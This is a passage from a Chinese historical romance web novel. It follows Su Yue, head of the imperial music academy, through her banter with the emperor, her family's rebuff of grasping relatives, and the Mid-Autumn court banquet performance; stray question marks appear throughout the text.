作势想了想,“您说得对,以后每逢初一十五,我再回?家?住一晚。” 皇帝一听,差点同她打商量,能不?能在隔壁为他也准备一间。他要是忙完了政务,也有兴致体察一下民情?的。但这?个唐突的要求最终没能问出口,就算她答应了,辜家?人看?他上?赶着,愈发觉得这?皇帝没威势了。 而现在,他更计较的是另一件事,“朕安排辜家?全族移居上?都,你还不?曾发表过看?法。辜娘子,你有什么话要对朕说吗?” 苏月知道他要听什么,鉴于他平时尽可能戳她的肺管子,自己也不?能让他称心如意?。 她托住了腮,长吁短叹,“以前是我一个人背井离乡,现在全家?都背井离乡了……我们辜家?在姑苏成立家?业四十几?年,一朝放弃了所有,搬到这?人生地不?熟的地方来,我对不?起爹娘啊。” 皇帝深感气愤,憋屈了半晌道:“朕一直觉得你家?这?姓不?多见?,也不?知该如何向人介绍。但朕今日悟了,辜负的辜,用在你身上?正好。” 苏月不?认同,“这?又是何必呢,就说古辛辜嘛,介绍起来哪里?难了。” 皇帝便抿起唇,别过脸不?说话了。 临近中秋,街市两旁挂满了五颜六色的灯笼,灯火照亮他的眉眼,满脸写?着“朕不?高兴”。 苏月知道他不?经逗,动作比脑子转动得更快,在他膝上?拍了一下,“其实我还是很感激陛下的,您又送房产又送铺面,辜家?何德何能,得陛下如此厚爱啊。” 这?回?他竟然破天荒地说了句中听的话,“朕觉得你值得。” 苏月心里?有点高兴,矫情?地追问了句:“为何呀?” 要是照着正常的流程,现在就到了奉承拍马,极度讴歌的时候。比如说你长得好看?呀,性?格好啊,办事能力强之?类,无论逮住哪一样说,都能让人心花怒放。 然而嘴硬的皇帝陛下偏不?,他想了很久,想出一个自认为不?伤帝王颜面的答案,“朕看?够了文武百官对朕卑躬屈膝,听够了王侯将相对朕歌功颂德,朕需要逆耳忠言,需要一个经常能激发朕斗志的人存在,那个人就是你。” 苏月脸上?隐隐的笑意?,终于转变成了僵硬的尴尬,“臣就像一支醒神的银针,在陛下昏沉不?知天地为何物的时候,能一梭子扎醒您,是这?个意?思吗?” 皇帝仔细斟酌了下,“反正朕昏昏欲睡的时候想起你,精神就亢奋起来,浑身有使不?完的劲。” 苏月叹了口气,心想不?知造了什么孽,拒婚都没能杜绝这?段孽缘。为什么这?权大长了这?么一张嘴呢,如果他能像裴忌或者权弈一样知礼,也不?至于孤身到今天了。 可正当她感慨万千的时候,却发现他探过来拉住了她的手。她悚然一惊,“干什么?孤男寡女,陛下要轻薄我?” 皇帝说:“你多虑了,朕岂是这?样的人。”然后端端把她的手放在自己膝盖上?,唇边抿出一点腼腆的笑,“就这?样,显得亲近。” 苏月想抽手,但在他凛凛的目光下,不?得不?打消了念头?。 所以刚才拍了拍,让她后悔不?已,陛下非但没有怪罪她的莽撞,反倒兀自受用起来。她的手放在他膝头?,只觉一阵阵的热量从掌心源源向上?,顶出了她一脑门子汗。 姿势别扭,两个人是对座,并不?是并肩,因此这?个动作显得分?外刻意?。 苏月摁了良久想收手,对面的人忽然开了口,“你对朕好奇吗?若是好奇,朕可以赏你个恩典,让你随意?探究。” 外面赶车的国用听见?了,脸皱得如重?压一整夜的麻布,暗道陛下好大方,竟然发出这?样的邀约。虽然自己是个内监,没有体会过男女之?间的情?愫,但这?么聊天也太令人匪夷所思了。如果辜娘子答应,那两人真是绝配,如此步调一致,定能恩爱到老。 精神正常的苏月,看?他扭扭捏捏故作镇定,以为自己听错了。 “随意?探究是什么意?思?”她问,“好奇哪里?,便可以摸哪里??” 皇帝难以启齿,但沉默就是默认,不?知是不?是错觉,苏月从他眼中发现了鼓励的光。 “我其实……没有那么好奇。”她慢慢抽回?手,丑话说在前头?,“陛下也别指望我像您一样大方,女郎的娇躯寸土寸金,绝不?供人随意?打探。” 外面的国用吁了口气,心想果然被拒绝了,不?过辜娘子这?话听上?去,同样也说不?出的怪诞。 皇帝为了拾掇尊严,发出了无情?的嘲笑,“朕关爱臣子,在你眼中却如此龌龊。”可是想了想,又觉得亏得慌,便旁敲侧击起来,“朕把辜家?满门接到上?都,一一将他们安顿好,可耗费了不?少力气。” 苏月心知肚明,这?回?不?用他暗示了,心甘情?愿掏出一枚铜钱放到他手上?,郑重?其事道,“这?是臣的回?报,请陛下笑纳。” 皇帝紧紧握住这?枚钱,像握住了自己的幸福。耗资巨万换来一个铜子儿,这?笔账算不?明白了,就这?样吧。 “朕与太后,有个立春之?约。”他状似无意?地说,“朕有些担心,怕自己来不?及兑现承诺。” 说完等着她好奇心发作,来追问约定的内容,没想到她更注重?解决方法,“来不?及兑现就赔罪,陛下让太后失望不?是一次两次了,想必太后已经习惯了。” 皇帝无语凝噎,用力叹了口气。可苏月心里?明白,他与太后的约定,必定关乎他的婚姻大事,大梁王朝的后继子孙。她实则是不?想谈及这?个问题的,但他叹气叹得这?么明显,自己也不?能太不?赏脸,无奈之?下硬起头?皮问:“立春之?约,约定了什么?” 出乎意?料,他没有趁机向她暗示,低头?拂了拂袍裾,淡声道:“没什么,朕与太后私下里?的谈话,不?足为外人道。你在梨园使的位置上?好好干,一人忙不?过来,多挑几?个得力的人襄助,让她们替你分?忧。” 他没有趁机相逼,又让苏月感动了一回?。皇帝陛下的心智好像逐渐成熟了,面对女郎时再不?是没有章法乱拳出击了,学会了迂回?婉转。 “今日的恩典……”她犹豫地问,“臣是不?是只能以身相许?可是臣刚接手梨园,还没做出成绩来呢。” 皇帝摆摆手,“不?要觉得亏欠了朕,动辄以身相许,辜大人岂能这?么不?值钱。朕就想让你安心,别再让那些人觉得朕公报私仇,朕的胸襟宽广得很。” 他做了太多的事,这?个传闻早就不?攻自破了,到如今反倒拿这?个来宽解她,苏月忽然从辛辣中,品出了些微一丝甘甜。 马车往圆璧城方向进发,穿过护城河,停在了龙光门前。她从车上?下来,恭敬地向他行了个礼,“今日多谢陛下,臣进去了,就此拜别陛下。” 皇帝踟蹰片刻,冒出了个新点子,“要不?朕去官舍坐坐?朕可以从巷道离开,悄悄返回?徽猷殿。” “可是这?个时辰,乐工们还未歇下,您一进圆璧城就会被人发现,对臣不?利。”她笑了笑,“后日就是中秋节了,陛下等着那日臣与众多乐师一同亮相吧,到时候一定令陛下刮目相看?。” 她是意?气风发的小女郎,满身都是蓬勃朝气,一心扑在梨园。反观自己,想得有点多,实在是惭愧啊。于是皇帝破天荒没说扫兴的话,甚至鼓励她:“你的琵琶弹得好,专攻这?项足以令人折服,千万不?要献舞。” 苏月没想太多,笑道:“隔行如隔山,我不?敢莽撞。不?过陛下为什么这?么说?我和颜在确实曾经跃跃欲试来着。” 皇帝分?析得有鼻子有眼,“舞者对身段要求高,须得俯仰有节,翩跹未已。而弹琵琶的臂展没什么门槛,只要够得着弦……”他话还没说完,她转身就走?,弄得他很迷茫,“嗳,不?是你问朕的吗?” 一旁的国用眨巴着小眼,脸上?堆满无奈的笑。见?皇帝不?明就里?望向自己,忙道:“娘子必定想起什么要诀来了,着急回?去实行,以求在中秋宴上?惊艳亮相。” 中秋节,果然是所有人期待的佳节啊。 梨园要安排大宴上?的歌舞曲目,等着当日受君臣检阅,刚安定下来的辜家?人,也极为重?视抵达上?都后的头?一个节日。 从姑苏到洛阳,拖家?带口走?了两个月,这?一程虽有地方官员处处照应,但水路之?后换陆路,陆路之?后又换水路,舟车劳顿很是令人疲乏。好不?容易安顿下来,一家?人得好好过个节,知道苏月节下最忙回?不?来,那就预备好她爱吃的东西,辜家?夫妇专程送过去,让她与梨园中的同伴们分?食。 能与女儿再相逢,且想见?就能见?,对于辜家?夫妇来说是不?敢设想的幸事。千叮咛万嘱咐,明日要是能抽出空,尽力回?家?一趟。 待事情?办好,又上?南北两市查看?了店铺的置办。既然搬到了上?都,就不?限于只开办质库了,辜祈年结识了一个贩卖药材的朋友,打算在北市开个伤药铺试试。人前脚刚到,后脚定好的药材也运来了,直忙到下半晌,夫妇两个才返回?永丰坊。 结果还没进门,就见?三房急赤白脸赶来,辜颂年一开口,全是对苏月的指责,“合议婚事,郎子给打得乌眉灶眼,眉弓上?到现在还发青,胸肋大喘气就生疼。伤了肺可是一辈子的大事,要是有个长短,叫苏意?怎么办?” 辜祈年夫妇没有理睬他们,吩咐把采买的东西搬进去,自己没事人般进门了。 三房夫妇交换了下眼色,气不?打一处来,追进去又道:“阿兄不?吭声,这?事就没个商议的余地了,都是自家?人,也要为我们想想。” 辜夫人回?头?道:“这?事我们听苏月说了,因白郎子不?肯担责,苏月才不?得不?出此下策。那也是为着苏意?,总不?能眼看?阿妹被人欺辱。” 三夫人道:“人伤了,婚事只怕也要延误,不?也害了苏意?吗。” 辜祈年的火气已经蓬蓬冒上?来了,“伤了就治,治不?好就不?嫁,非嫁不?可就预备守寡,有什么难办的。” 这?话把人撅个倒仰,眼看?三房目瞪口呆,辜夫人还得做和事佬,“好好说话么,还没议出个长短就大呼小叫。”顿了顿问三房,“你们说要商议,商议什么?” 三夫人不?便说话,拿肘捅了捅丈夫,辜颂年理直气壮道:“郎子原先?是太常寺的少卿,官职体面得很,后来被上?司排挤,贬到廪牺署去了,羊头?狗肉的,苏意?嫁了也丢人。要不?与苏月说说,让她想办法与陛下讨个人情?……” 辜祈年冷笑道:“你家?郎子因在梨园糟蹋乐工,才被太常寺卿调职,自家?吃定了这?摊屎,又嫌什么臭?还有你那好女儿,辜家?女郎的名声都被她败完了,你们怎么有脸来讨官?若是不?想一家?子都被踢出族谱,就给我消停些,否则即刻回?姑苏去。”千言万语最后汇成了一个大字,“滚!” 第52章 第 52 章 被阿兄一吼, 三房夫妇都有些慌,面?面?相觑地嘟囔:“这是?做什么……都是?至亲的骨肉,见我们落了难, 就这么埋汰人……” 辜祈年压根不听他们说什么, 大步流星穿过了庭院。 三房夫妇还是?不死心, 不敢再去触怒长兄,期期艾艾地唤阿嫂, “这事难道不能?打个商量吗,苏意再不成器, 终归是?自家的孩子, 总不能?看着她抬不起头来。” 辜夫人平时身体不好,也鲜少有动怒的时候,大家都知道她脾气好, 因?此?三房夫妇就调转枪头盯准了她。 辜夫人还是?十分?温和的, 毕竟刚到?上都, 一家人和睦最?要紧,便心平气和道:“哪里?就抬不起头来了, 苏意的郎子不是?个四品官吗。早前咱们在姑苏,为官做宰的人家可不屑与我们结亲,如今到?了上都水涨船高, 怎么反而叫起屈来?” 三夫人支吾了下, 难堪道:“好好的少卿被贬到?办理?祭品的衙门, 不是?明摆着受人排挤了吗。我们见过了郎子,他也同我们说得清清楚楚,那些关于他的不实传言, 从来没有证据,都是?受了个别人的诬陷, 才把他害得声名狼藉。阿嫂合该见见他,真?是?好端端的人才样貌,哪里?像苏月说的那么不堪。” 辜夫人敬谢不敏,“你?们会亲,我就不凑热闹了。他是?什么样的人,亲戚们也不会过问,日子是?他们小夫妻关起门来过,过得舒心就行?了。” 三夫人说:“正是?不能?舒心么,郎子的名声不清不楚,这婚成得多窝囊。要是?能?官复原职,也算是?正了名。” 辜夫人发笑,“你?们如今的心气是?越来越高了,官场上的事,也是?说干涉就干涉的。” 辜颂年道:“这不是?背靠大树好乘凉吗,你?们苏月将来随王伴驾,自己有了出息就不管堂妹,说出去也不好听。” 这话终于触了辜夫人的逆鳞,她立时拉下了脸,寒声道:“苏月何时说要随王伴驾了?我们自家的事,自家都不知道,你?们要是?敢胡乱宣扬,我可饶不了你?们。”说着从袖子里?抽出苏意的供状,鄙薄地扔到?了他们面?前,“看看上面?都写了些什么,我瞧着都脸红。自己不尊重,硬让别人抬举,还有这样强逼人的?我家本?也有为难之?处,你?们跟着来上都,福你?们享了,人情我们欠着,也算仁至义尽了。若再贪得无厌,往后大可不必来往,苏意的昏礼我们也不参加,你?们爱怎么样便怎么样吧。” 他们这里?还在说话,听见了内容的辜祈年举着戒尺,从前厅追了出来,横眉怒眼道:“一家子丧良心的东西,不想?着如何立足,如何自强,整天弄这些歪门邪道。阿爹阿娘虽不在了,还有我,今日就让我这做兄长的狠狠教训你?!” 说着扬起戒尺抽打上去,啪地一声,放炮仗一样,打得辜颂年直蹦起来,“我都多大年纪了,你?还打我!” 辜祈年道:“就算长到?一百岁,不长进就该打。从今往后不许再提苏意半个字,她早前在梨园怎么害的苏月,我还没与你?们算账。若是?非要自讨没趣,这门亲戚往后就断了,你?家儿女的事,再不与我们相干。” 辜颂年没有了还口之?力,被打得满院乱窜。三夫人惊惶地缩在一旁,直等到?大伯撒够了气,才敢上前阻拦阻拦。 其实三房一向对大房心存畏惧,但由来这么胡搅蛮缠过来的,以为到?了今时今日还和以前一样。可他们忽略了一点,大房夫妇什么都能?忍,唯独牵扯上了苏月这块心头肉,是?半丝半缕也忍不得。以前不过是?打打秋风,为了三瓜俩枣闹上一闹,钱自然就来了。这回闹得过分?,讨起官来,一顿竹笋烤肉加深印象,一切念想?就此?断了,就再也不敢胡乱惦记了。 “别打了……”辜夫人掖手站在一旁只?动嘴,“三郎知道错了。” 辜颂年想?溜,又被拦住了去路,打得没计奈何只?得认错,“阿兄……哎哟,阿兄,往后我再也不敢这样了,求阿兄手下留情。” 辜祈年打得手酸,方才撂下戒尺,“苏月是?女郎,打白溪石得叫上缇骑,我这阿爹却不一样。你?要是?再敢寻死,我就打你?个皮开肉绽,打完了叫人押你?回姑苏,从今往后族中人人对你?们避如蛇蝎,我看你?们怎么办!” 辜颂年这回算是?彻底老实了,臊眉耷眼嘀咕:“这么大气性,气坏了身子不值当。以后我再不提苏意还不行?吗,嫁出去的女儿泼出去的水,我还有旁的儿女要操心,不能?为她一个,弄得族中人都不来往。” 辜祈年没好气地一哼,“你?能?明白这个道理?,可见还未彻底昏聩。”然后板着脸往边上一站,示意他们可以滚蛋了。 三房终于垂头丧气离开了,辜夫人这才道:“一点情面也不留,可是?不太好啊?” “哪里?不好?”辜祈年道,“别说苏月帮不了他家这个忙,就算能?帮,也断不可帮。他们家的污糟事一出接一出,今天帮完了还有明天,谁耐烦和他们纠缠一辈子。早前我是?极不愿意带他们一同入上京的,要不是?他们日夜守在门外,早就半夜里?悄悄搬家了。” 那倒是?,辜夫人想?起那时,实在又气又好笑。家里的铺面和房产要处置,难以暗中进行?,被他们得知了,他们卖房卖得比他们还快。然后一家一当全装上马车,就这么眼巴巴地守在巷子里?,主君晚间?出门办事,猛不丁见三郎跳出来叫阿兄,险些吓得魂飞魄散。最后在他们寸步不离的监视下,只得不情不愿带上他们。 其实心里?早有预备,日后少不了麻烦,但没想到麻烦来得如此之快。苏意大了,要出阁是?理?所应当,然而以这样的方式给自己找了个郎子,乍然听苏月说起,实在把人吓得不轻。 反正三房就是?这样了,没什么可多想?的,辜夫人愁的是?自家的事。 “明日苏月能?回来吗?要是?回来,陛下会不会跟着一块儿来?” 辜祈年看着檐外的长天,也有些发愁,“咱们收了房子和铺面?,诚如把女儿给卖了,我浑身上下都透着难受。这两日细想?了想?,要不然把手上的钱财全拿出来吧,房子和商铺权当咱们买下来的,这样也不必受制于人,你?看怎么样?” 辜夫人思前想?后,很是?为难,“光是?咱们一家好办,这不是?全族都来了吗,咱们这点钱财哪里?够使。再说你?有钱也没处送,难道还能?装了箱子运进宫去吗?敢堆到?人家面?前,不怕人家砍了你?的脑袋?” 就是?说前怕狼后怕虎啊,辜祈年惆怅地瞅瞅妻子,长叹了口气。天降横财是?好事,但若是?降得太厉害,也让人发愁。 转头四下打量,他又问夫人,“你?不觉得这宅子太大了吗?占了半个永丰坊,怕不是?和王侯的宅院一样,咱们什么身份,能?住这等宅院?” 辜夫人说是?,“那咱们就住半边吧,东面?的院子辟出来,万一哪天陛下来了不肯走,也好有地方安置。” 辜祈年挠了挠头,“不曾谈婚论嫁,不便相留吧。” “你?是?死脑筋么,都这样了,还啰唣什么。”辜夫人道,“苏月的卧房安排在最?西边,当间?隔着我们所有人的屋子,有那么多双眼睛盯着,怕什么。” 辜祈年立刻顿悟了,“这个安排很是?妙,既不得罪人,也能?保全苏月。” 那是?自然,都是?累积经验想?出来的好办法。 当初她与苏月的阿爹定下亲事,因?她家住钱塘,苏月的阿爹每次来送节礼,都被父母留住在家里?。渐渐熟络,渐渐两情相悦,不要怀疑一个谦谦君子背着外人时有多不要脸,“想?你?想?得睡不着”,时有发生。所以为了同样的闹剧不在女儿身上重演,作为过来人的阿娘必须防患于未然。杜绝晚间?防备最?弱的时候,被某些心怀叵测的人趁虚而入。 夫人一副笃定的样子,看得辜祈年有些尴尬,也不好意思再说别的了,一切按照夫人的意思行?事就对了。 永丰坊里?忙着布置院落,梨园之?中也正紧锣密鼓地预备迎接中秋大宴。 这是?开国后的头一个中秋,是?继正旦之?后最?盛大的一场宴会。梨园各部都精心准备了表演的节目,不单有大乐法曲,更有歌舞和百戏杂技。 不过这次的庆典不在西夹城中举办,而是?搬到?了圆璧城以东的含嘉城内。那是?个更有文化气韵的所在,各大藏书馆都设立在那里?,就连翰林院选拔官员,都是?在那里?举行?的。 照着皇帝的说法,中秋所有的欢愉都是?梨园子弟提供的,他们不再是?任人取乐的玩物,他们是?日后推动礼乐的中流砥柱,理?应受到?重视。含嘉城是?选拔翰林的地方,将来也是?梨园选拔一等乐师的地方。 人有了进取心,才能?推动自身技艺更精进,苏月打算每年立春和霜降这日,对梨园子弟进行?考 核,晋升一二等者?,由大府增发相应的俸禄。乐工的地位不断抬升,虽然有点费钱,但皇帝觉得很好,是?利在千秋的举措。因?此?即便尚书省合议时有诸多争执,最?后他还是?力排众议,确保了苏月计划的顺利实行?。 不过梨园使此?人,得寸进尺是?铁打的事实,趁着大演开场之?前,进来回禀的这一小段时间?,又向他提出了个维护乐工权益的好主意。 当然,并非直撅撅空口白话,她还是?很讲策略的。接过了宫人送来的点心盘,像个人形架子般躬身承托着,满脸都是?讨好的笑容,轻声细语道:“陛下,请用果子。” 皇帝戒备地看着她,无事献殷勤,非奸即盗。这次她八成又有什么馊主意,要让他豁出去为她完成了。 犹犹豫豫的手,伸到?一半还是?缩了回来,“朕不饿,不吃。” 苏月赧然笑了笑,“吃不吃臣都要谏言的,陛下还是?先垫垫肚子,听臣慢慢回禀吧。” 皇帝算是?对她无话可说了,“你?每次见朕,只?能?谈论梨园吗,就不能?说些私事,比方家里?准备设宴款待朕之?类的?” 苏月略心虚了下,居然发现真?的没人想?到?过这一宗。 无论如何,这个问题得搪塞过去,便随机应变道:“家君同臣说过想?宴请陛下,但臣觉得这件事得从长计议。毕竟陛下的安全为上,臣得确保万无一失,才能?邀陛下驾临。”言罢又堆起一个笑,“陛下,还是?听听臣要禀报什么吧。” 皇帝别开了脸,“今日中秋,朕要过节,什么都不想?听。” 看来赔笑脸没用了,讲点实际的吧。于是?双手承托着事先准备好的铜钱,小心翼翼送到?他面?前,“这个谏言很要紧,万望陛下成全。” 铜钱都出马了,一切也不是?那么难商量。 皇帝云淡风轻地捏起了那枚钱,“辜大人,这是?第五枚了。朕发现凑齐十枚好像不是?什么难事,反而是?你?,特权可要省着点用啊。” 苏月则认为十枚之?后又是?一个新的周期,他也没说只?替她办十件事。大不了他集满十枚,自己满足他一个愿望,还愿之?后一切再从头开始,周而复始,可以生生不息。 不过事实还是?得阐明一下的,“请陛下明鉴,臣从来不曾谋过私利,所做的一切,都是?在为乐工们请命啊。” 那倒是?事实,皇帝牵了下唇角,看在铜钱的份上放了软话,“说吧,这回又要求什么?” 苏月恭敬地说:“朝廷不是?放了恩典吗,恩准前朝的乐工返回故里?,可是?真?正回去的人寥寥无几,不单是?因?为战乱过后家中没人了,更是?因?为回去之?后没有生计。陛下是?仁君,既然能?网开一面?,为什么不能?授人以渔?给还乡的乐工们一些倚仗吧,譬如让当地官衙给予优待,做生意谋生的减免税负,凭借技艺立足的有优先献演的机会,陛下看这样可好?” 皇帝蹙眉叹了口气,“你?的心是?好的,但却想?得不长远,乐工们抬价拿乔的事才过去多久,你?全忘了?朕知道经历了前朝的老乐工苦,可民间?靠杂乐糊口的艺人就不苦吗?乐工还乡后事事有优待,难免有霸市的隐患,到?时候你?我鞭长莫及,官府又不敢上报,吃饱一人饿死了十人,朕问你?,怎么办?” 苏月怔住了,细想?之?下大觉羞愧,“我只?关心乐工的生计,忘了兼顾民间?乐人的利益了。” 皇帝轻摆了下手,“你?原本?就只?需关心梨园子弟的疾苦,梨园之?外有朕,朕替你?想?到?就是?了。”略沉吟了片刻才又道,“让州县府衙扶持,减免税负可行?,公务需要礼乐时,也可以优先以乐工为重,但民间?的婚丧嫁娶,须得容许百姓自行?选择。朕相信若价钱公道,技艺超群,自然能?有一席之?地。朕可以给予优恤,但不能?搅乱当地的行?市,所以这枚铜钱,朕还能?留下吗?” 正常谈论政务时的权大,实在很有帝王威仪。他想?的远比苏月多得多,让她自惭形秽,甚至有些不好意思面?对他。 他朝她递出了铜钱,一双眼睛紧紧望着她,苏月最?终伸手推了回去,“还是?留下吧。陛下说得很对,事事都要讲章程,我也不能?求得太多太过分?。您答应减免税负,单这项就已?经是?莫大的恩典,他们回去若是?要开办乐学,比起别人会轻松许多,还有什么不知足的。” 皇帝悬起的心终于放了下来,心安理?得收回铜钱,庆幸地说:“还好你?讲理?,朕没有看错人。” 苏月嘟囔着瞥了下他,“我一向有大局观,陛下可别……看人低。” 皇帝惊诧,“你?又在偷着骂朕?” 人嘛,定会有脑子跟不上嘴的时候。脱口而出,来不及补救,赶紧想?个别的办法周全吧,苏月忙靦脸笑道:“节后我要回去与家人吃团圆饭,您可要一道去?” 皇帝终于熨帖了,团圆饭啊,叫上他,意味着什么? 庄重的陛下恨不能?立刻雀跃着答应,但还在为面?子作最?后的挣扎,抬高下巴道:“你?求朕一块儿去?朕还得考虑一下……” 苏月点点头,“考虑吧,那臣就先告退了。外面?还有一大堆事要忙,陛下过会儿就看我们的吧,如果觉得不错,一定要叫个好啊。” 她急匆匆说完就出去了,殿中的人来不及最?终表态,很有些担忧,担心她误会他不答应,就此?放弃了。 那厢文武大臣都入殿敬拜,太后领着命妇们也到?场了,众人纷纷在自己的座次上落了座,好戏就要开场了。 德阳殿前的广场上架起了好大的天幕,梨园女郎对美的追求已?臻极致,提前在舞台中央用七彩的石头铺好莲花纹,供胡旋舞者?腾挪旋转,展示技艺。 一百二十人的舞乐史无前例,令人震惊赞叹,这次所用的曲乐也是?头一回听到?,一段大曲一段小调,有江南的婉约,也有塞北的雄壮。也许不通音律的人只?能?听出好不好听,热不热闹,但对皇帝来说,能?够清晰分?辨出五旦七调和十二律。 搁在膝上的手几次想?抬起来相击,都因?后面?有更意想?不到?的乐律而作罢。心潮澎湃,目光追随着坐在角落里?抡指拂弦的女郎。这场大曲盛宴是?她领头操办的,但她并不执着于让自己出风头,反倒掩盖锋芒,把机会让给了其他乐师。 这得是?多高尚的情操啊,皇帝心想?,符合国母的一切标准。而临座的太后,也定是?这样认为的。 “好曲,好舞……”太后与几位王妃偏头说话,“早前梨园一板一眼的,奏的那个法曲,我听着都想?睡觉。如今再看,嗳,那孩子真?有两把刷子。陛下头前和我说起,我还觉得她管不了偌大的梨园,不想?今日真?刀真?枪,才发现没人比她更合适了,你?们说是?不是??” 大家都知道太后对辜娘子怎么看怎么喜欢,简直巴不得昭告天下,都来看看这准儿媳是?不是?德才兼备,足令天下女子景仰。 外命妇们其实也曾动过把娘家女郎送进宫的念头,无奈前有十二侍做榜样,这事儿现在成不了。或者?再过一阵子吧,等陛下和太后兴头过了,天底下还有不设三宫六院的皇帝? 反正大家现在只?盼着赶紧把名分?定下来,了了太后的心愿,于是?闲谈之?间?同太后提起,“辜家一族入上京了,就住在南市永丰坊。听说府邸和商铺都是?陛下赏赐的,可是?打算聘皇后了?您怎么半点不同我们透露?” 太后困在掖庭,消息不怎么灵通,这事皇帝居然没同她说起过。难怪上回言之?凿凿下保,明年立春之?前会有说法,敢情把人家全族都弄到?上都来了,真?是?下了好大一盘棋啊。 照理?说上赶着不是?买卖,身居高位面?子为重,然而太后并未觉得儿子此?举不值钱。在她看来男子为了娶妻,厚着脸皮不计前嫌,那是?旷达的表现。 老母亲觉得很欣慰,语调里?充满愉快,抚掌说:“人都来上都了,好得很!珍珠,安排下去,中秋一过找个机会,老身要亲自会会辜家夫妇。” 第53章 第 53 章 皇帝不知道母亲的打算, 他的全身?心都在?苏月身?上。等大曲奏到激昂处,他领头鼓起了掌,满朝文?武见状, 便也放开了胆魄, 跟着一同叫好。 并不是察言观色, 投陛下?所好,确实是这次的乐舞让人刮目相看。自打梨园换了掌权的人, 就像垂垂老矣的朽木焕发了新的生机,充满了朝气蓬勃的生命力。不管是乐工也好, 舞伎也好, 他们脸上洋溢着自信,有光的人到哪里都闪耀。再不是谨小慎微,畏首畏尾, 即便是面对着大梁最显赫的权贵, 他们也觉得自己是人, 有站起来的勇气了。 只是大宴时间长?,中?途会变换各种舞乐, 有创新,必会有人诟病。 就像霓裳羽衣舞,以?往都是女性舞伎出演, 这次全都换成了男子。他们穿着轻柔绚丽的舞衣, 点?缀在?肩袖的丝带随着动作?在?空中?翻飞, 刚柔并济,俯仰进退。 美则美矣,却引发了很多重臣的不满。臣僚们脸上浮起一种奇怪的羞愤神情, 纷纷斥责有伤风化,仿佛舞台上翩翩起舞的不是舞者, 而是他们。 这就是男人的傲慢,在?他们眼中?,男舞者只能跳坚毅充满力量的舞蹈,像这种兼具柔美的,有取悦人的嫌疑。 堂堂男子汉,怎么能搔首弄姿供人取乐,又不是女郎! 所以?陈御史慷慨陈词的时候又到了,他忿然说:“男子乃国之脊梁,当?有阳刚之美,宁折不弯的精神。如今梨园改革,弄得男儿做娇柔之状,一个个穿着女子的服装,打扮得花枝招展,哪里还有半分男子的雄壮!” 皇帝觉得他们的不平很莫名,“这些舞者都是梨园子弟,梨园本就是为曲乐歌舞而生的。在?朕看来,曲舞本无雅俗之分,是优是劣全在?观赏者的心境。你?们看健舞和?踏歌毫无波动,看软舞便怨声载道,这又是何必呢。” 御史台的人自有他们的说辞,“男跳健舞,女跳软舞,这本就是约定俗成的。现在?弄得男女不分,男子作?小女儿状,岂非阴阳颠倒,章程全乱了吗。且又是在?太后与陛下?面前献演,臣等觉得甚为不妥,应当?立刻叫停才是。” 他们上纲上线,言辞犀利,这些言官除了扫兴,一般没有太大的作?用。 皇帝百无聊赖地撑住了脸颊,“今日过节,不是郊社祭祀,也不是王师大献,不过娱乐娱乐而已。朕若是兴起,请几位大人为朕舞上一曲,难道诸位就抗旨不遵了?所以?啊,只要高兴,何必计较那许多。不信你?们看看诸位王妃夫人们,她们哪个不是兴致勃勃?女眷们尚且有这气量,诸位为官做宰却小肚鸡肠,急欲扼杀大家的快乐,回去之后被夫人们讥嘲,可就得不偿失了。” 皇帝语调轻松,大有四两?拨千斤的手段。众多正义愤填膺的重臣们,这时才发现了自家夫人脸上的快乐,恨铁不成钢之余,也大为讪讪。 皇帝一哂,转头问太后:“母后觉得歌舞曲目怎么样?男子跳的霓裳羽衣,可有什么不妥之处?” 太后早就听到御史台那些人倒胃口的言论了,懒得与他们长?篇大论,皇帝这样询问,她就直言不讳了,“好看,老身?爱看。” 哪条律法上规定,男舞者不能取悦看客?女郎就该跳那些阴柔的舞蹈,男子必要跺脚抡拳,像康居人那样耍刀跳火圈? 太后作?为命妇们的代?表,六个字堵住了悠悠众口。 说起刀,霓裳羽衣舞后还有更令人震惊的节目。战鼓擂响,上来了十?个戎装的女郎,这些女郎束着利落的高髻,手里握着长?剑。明明都有美丽洁白的面孔,眼神却如手中?的剑一样,凛凛生出寒光。她们的动作?经过了精密的编排,和?舞曲相得益彰,每一次剑锋划过,都在?向满朝文?武展现她们的决心。 皇帝很欣慰,就像老父看着蹒跚学步的孩子,一点?点?长?成了天?下?女郎的脊梁。苏月对今日的献演胜券在?握,果真成绩不俗,足够她得意忘形十?天?半个月了。 一向矜持自重的贵妇们,看到激动处也忍不住拍手叫好,由衷地对太后说:“鲜少能看到这么振奋人心的健舞,尤其舞者都是女郎。” 太后自然也高兴,十?分捧场地说:“女郎当?自强。大梁和?前朝不一样,那个不拿人当?人的王朝注定短命,咱们大梁是有人味儿的。乐工和?舞伎难道不是人么,前朝折磨他们,本朝要让他们活出人样。” 大家纷纷称道,坐在?鲁国夫人边上的女郎却十?分难堪。 鲁国夫人察觉了,偏头笑了笑,“公主别多心,不是冲你?,否则陛下?就不会发令让你?一同赴宴了。我看你?这阵子无聊得很,是该出来走走,开阔一下?心胸了。” 宝成公主没有应她,目光依依望向了上首的皇帝。 自上回一别,就没再见过他。本以?为自己回心转意了,作?为男子一定求之不得,结果等了半年,一点?消息也没有,看来人家是真的对她不感兴趣。 一个没有根的女郎,比那些曾经让她看不起的乐妓,能高贵多少呢。鲁国夫人和?她非亲非故,把?她养在?府里是等着待价而沽的。结果她没有实现半点?价值,也不知道自己还能在?那府上逗留多久,是不是某一天?会被扫地出门,流落街头。 所以?皇帝就像救命稻草,她迫切盼望他能解自己的燃眉之急。赴宴之前鲁国夫人说过,陛下?忽然想起你?,定是好事不是坏事,让她心里重新燃起了希望。可大宴进程过半,好像仍是没有任何改变,她不由怀疑,自己可能仅仅是皇帝彰显容人雅量的工具吧。让鲁国夫人带她出席,也只是为了告诉那些投靠新朝的官员,前朝的宝成公主都活得好好的,只要他们忠心,皇帝陛下?绝不会亏待他们。 暗自叹口气,她怏怏低下?了头,总觉前路茫茫,不知归处。那个先前在?鲁国夫人府上弹曲,很让她看不上的乐妓摇身?一变,被皇帝扶植成了梨园使,她实在?有些想不明白,当?今陛下?究竟是怎样的眼光和?癖好。自己有高贵的出身?,相貌也不差,可他却凶神恶煞丝毫不知怜香惜玉,难道他对待那个乐妓也是如此吗?那又怎么冒天?下?之大不韪,把?梨园送给了她? 正在?思绪纷乱的时候,忽然听见鲁国夫人唤她。她茫然抬起头,见所有人的目光都投向自己,她不明就里,顿时有些心慌。 鲁国夫人小声提点?她,“陛下?为你?赐婚了。” 赐婚?她吃了一惊,赐给谁了? 